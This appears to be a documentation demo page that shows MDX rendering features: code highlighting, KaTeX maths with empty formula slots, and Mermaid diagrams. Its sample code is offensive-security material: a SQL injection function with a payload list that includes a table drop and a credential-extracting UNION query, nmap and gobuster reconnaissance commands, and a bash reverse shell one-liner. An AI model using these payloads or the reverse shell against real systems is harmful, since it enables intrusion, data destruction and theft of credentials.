MDX Features Demo
This page demonstrates the enhanced MDX features available for documentation.
Syntax Highlighting
Code blocks automatically get syntax highlighting with theme support (dark/light).
Python Example
def exploit_sqli(url: str, payload: str) -> bool:
"""
Attempts SQL injection on target URL.
"""
import requests
response = requests.get(url, params={"id": payload})
if "error" in response.text.lower():
return False
return response.status_code == 200
# Common SQLi payloads
payloads = [
"' OR '1'='1",
"1; DROP TABLE users--",
"1' UNION SELECT NULL, username, password FROM users--"
]
Bash Commands
# Nmap scan for common services
nmap -sC -sV -oN scan.txt 10.10.10.1
# Gobuster directory enumeration
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
# Reverse shell one-liner
bash -i >& /dev/tcp/10.10.14.1/4444 0>&1
JavaScript/TypeScript
interface VulnerabilityReport {
id: string;
severity: 'critical' | 'high' | 'medium' | 'low';
description: string;
remediation: string;
}
async function scanTarget(host: string): Promise<VulnerabilityReport[]> {
const results: VulnerabilityReport[] = [];
// Scanning logic here
return results;
}
Math Equations
Math equations are rendered using KaTeX.
Inline Math
The probability of success after attempts is where is the probability of success per attempt.
Block Equations
Shannon entropy for password strength:
The time complexity of brute force is:
where is the keyspace size and is the key length.
Cryptography Example
RSA encryption formula:
RSA decryption:
where is the public exponent, is the private exponent, and .
Mermaid Diagrams
Diagrams are rendered using Mermaid with theme support.
Basic Flowchart
graph TD A[Start] --> B[Process] B --> C[End]
Attack Flow Diagram
graph TD
A[Reconnaissance] --> B[Scanning]
B --> C[Enumeration]
C --> D{Vulnerability Found}
D --> E[Exploitation]
D --> B
E --> F[Post-Exploitation]
F --> G[Privilege Escalation] Sequence Diagram
sequenceDiagram participant A as Attacker participant S as Server A->>S: Request S-->>A: Response